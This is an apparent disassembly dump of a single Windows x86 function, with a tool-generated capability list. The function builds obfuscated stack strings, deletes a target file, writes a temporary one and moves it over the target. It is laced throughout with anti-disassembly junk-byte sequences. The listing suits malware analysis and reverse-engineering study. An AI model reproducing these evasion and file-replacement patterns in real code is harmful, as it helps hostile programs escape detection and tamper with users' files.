Function at 0x40657b
Capabilities:
Contain obfuscated stackstrings
Delete file
Move file
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
cmp eax, eax
je 0x406429
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x406431
in al, 0x1d
je 0x406439
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add dh, al
inc ebp
hlt
jne 0xd9f565
mov byte [ebp - 0xc], 0x41
mov byte [ebp - 0xb], 0x62
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x67
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x67
mov byte [ebp - 4], 0x67
mov byte [ebp - 3], 0
jmp 0x40646f
push eax
call 0x406479
je 0x4064dd
jns 0x406431
pop eax
pop eax
push 0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0xffffffffffffffff
call dword [fcn.00401118]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
add byte [ebx], dh
shr cl, 0xd6
add al, byte [eax]
add byte [ebp - 0x1037b], cl
call dword [eax + 0x68]
add al, 1
add byte [eax], al
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp eax, eax
je 0x406507
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40650f
in al, 0x1d
je 0x406517
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0xaef7b3], cl
adc eax, sym.imp.KERNEL32.dll_SetCurrentDirectoryA
jne 0xd9f643
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp eax, eax
je 0x406537
into
mov esp, 0xc7daeea7
fcmovb st(0), st(7)
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40653f
in al, 0x1d
je 0x406547
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add cl, ch
add eax, dword [eax]
add byte [eax], al
cdq
jb 0x406506
jne 0xd9f673
jmp 0x406555
push eax
call 0x40655f
je 0x4065c3
jns 0x406517
pop eax
pop eax
xor edx, edx
mov dword [ebp - 0x21c], edx
jmp 0x406571
push eax
call 0x40657b
je 0x4065df
jns 0x406533
pop eax
pop eax
mov eax, dword [ebp + 8]
push eax
push 0x401670
lea ecx, [ebp - 0x21c]
push ecx
call dword [fcn.004010ac]
add esp, 0xc
jmp 0x40659e
push eax
call 0x4065a8
je 0x40660c
jns 0x406560
pop eax
pop eax
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
movsx ecx, byte [ebp + eax - 0x21d]
add eax, 0xfffffde3
cmp ecx, 0x5c
je 0x4065f5
movsx edx, byte [ebp - 0x21c]
cmp edx, 0x5c
je 0x4065f5
mov eax, dword [ebp - 0x108]
mov byte [ebp + eax - 0x21c], 0x5c
mov ecx, dword [ebp - 0x108]
mov byte [ebp + ecx - 0x21b], 0
cmp eax, eax
je 0x406605
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
je 0x40660d
in al, 0x1d
sbb eax, 0x2840f
add byte [eax], al
je 0x406615
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0xadf3ab], cl
adc eax, sym.imp.KERNEL32.dll_DeleteFileA
jne 0xd9f741
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [ebp - 0x114], 0x68
mov byte [ebp - 0x113], 0x75
mov byte [ebp - 0x112], 0x32
mov byte [ebp - 0x111], 0x34
mov byte [ebp - 0x110], 0x33
mov byte [ebp - 0x10f], 0x35
mov byte [ebp - 0x10e], 0x37
mov byte [ebp - 0x10d], 0x36
mov byte [ebp - 0x10c], 0x68
mov byte [ebp - 0x10b], 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 2
push 0
push 1
invalid
push 0xc0000000
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
jmp 0x4066a5
push eax
call 0x4066af
je 0x406713
jns 0x406667
pop eax
pop eax
mov dword [ebp - 0x108], 0
jmp 0x4066c3
push eax
call 0x4066cd
je 0x406731
jns 0x406685
pop eax
pop eax
cmp dword [ebp + 0x14], 0
je 0x4066f3
push 0
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, eax
je 0x406710
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
je 0x406718
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
in al, 0x1d
je 0x406720
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [edx + 3], ch
jne 0xd9f84c
push 3
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
call dword [edx - 1]
adc eax, sym.imp.KERNEL32.dll_MoveFileExA
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp eax, eax
je 0x406763
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40676b
in al, 0x1d
je 0x406773
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0x1077b], cl
invalid
jne 0xd9f89f
mov eax, dword [ebp - 0x108]
jmp 0x4067bb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret